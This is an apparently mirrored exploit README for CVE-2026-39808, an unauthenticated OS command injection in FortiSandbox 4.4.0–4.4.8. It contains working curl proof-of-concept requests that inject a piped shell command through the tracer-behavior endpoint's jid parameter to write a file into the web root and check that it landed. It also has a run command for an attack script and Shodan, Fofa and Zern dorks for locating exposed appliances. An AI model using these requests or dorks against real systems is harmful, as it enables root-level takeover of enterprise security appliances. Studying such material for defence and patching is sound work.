Share 
## https://sploitus.com/exploit?id=5E0FB8A6-E884-5589-885F-A7A3B2122BB9
# CVE-2026-39808

[![Python](https://img.shields.io/badge/Python-3.12%2B-blue.svg)][01]
[![CVSS](https://img.shields.io/badge/CVSS-9.1%20CRITICAL-darkred.svg)][03]
[![License](https://img.shields.io/badge/License-SCTPL-green.svg)](./LICENSE)
[![Educational](https://img.shields.io/badge/Purpose-Educational%20Only-yellow.svg)](./LICENSE)

Fortinet FortiSandbox 4.4.0-4.4.8 - OS Command Injection via tracer-behavior Endpoint

[Fortinet FortiSandbox][07] is an advanced threat protection solution that
creates isolated environments to analyze suspicious files, URLs, and
network traffic for malicious behavior. It uses a combination of static
analysis, dynamic analysis, AI-powered machine learning, and threat
intelligence from [FortiGuard][08] to detect zero-day threats, evasive
malware, ransomware, and targeted attacks that bypass traditional
signature-based defenses. Enterprises should deploy FortiSandbox to protect
against emerging threats—particularly unknown malware and advanced persistent
threats (APTs); by automatically detonating suspicious content in a secure,
isolated environment before it reaches production systems. It integrates with
the broader Fortinet Security Fabric and can be deployed as a
*physical appliance*, *virtual machine*, *cloud service*, or
*containerized solution* to fit various network architectures.

**CVE-2026-39808** is a critical **OS command injection vulnerability**
affecting FortiSandbox versions *4.4.0* through *4.4.8*. The flaw stems from
improper neutralization of special elements in user-controlled input before
it is used in OS command construction (CWE-78), specifically affecting an
unspecified API endpoint. An unauthenticated attacker can exploit this
vulnerability by sending specially crafted HTTP requests to execute
**arbitrary operating system commands** with **root privileges** on the
underlying system. Successful exploitation grants the attacker complete
control over the *FortiSandbox* appliance, allowing them to access analyzed
malware samples, exfiltrate sensitive configuration data, pivot to connected
network segments, or use the compromised device as a foothold for further
lateral movement within the enterprise environment. This vulnerability is
being actively exploited in the wild.

## PoC

```txt
# Step 1 — inject: write a marker string to a temp .php file via pipe in jid param
# Decoded payload: |(echo canary > /web/ng/proof.php)|
curl -sk -o /dev/null -w "%{http_code}" \
  "http://example.com/fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+canary+%3e+%2fweb%2fng%2fproof.php%29%7c" \
  -H "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" \
  -H "Connection: close"

# Step 2 — verify: fetch the dropped file and check for the marker
curl -sk "http://example.com/ng/proof.php" \
  -H "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" \
  -H "Connection: close"

```

## Usage

```txt
python CVE-2026-39808-X7.py
```

* [Zern][04]    : `title:FortiSandbox`
* [Fofa][05]    : `title="FortiSandbox"`
* [Shodan][06]  : `http.title:FortiSandbox`

## Reources

* [OpenCVE - CVE-2026-39808 - OS Command Injection in FortiSandbox 4.4.x Releases][01]
* [NIST - CVE-2026-39808 Detail][02]
* [Fortinet FortiSandbox][07]

## Authors

* ErrorInside // SCT

## License

SCT-PL

[01]: https://python.org
[02]: https://app.opencve.io/cve/CVE-2026-39808
[03]: https://nvd.nist.gov/vuln/detail/CVE-2026-39808
[04]: https://zern.io
[05]: https://en.fofa.info
[06]: https://www.shodan.io
[07]: https://www.fortinet.com/products/fortisandbox
[08]: https://www.fortinet.com/fortiguard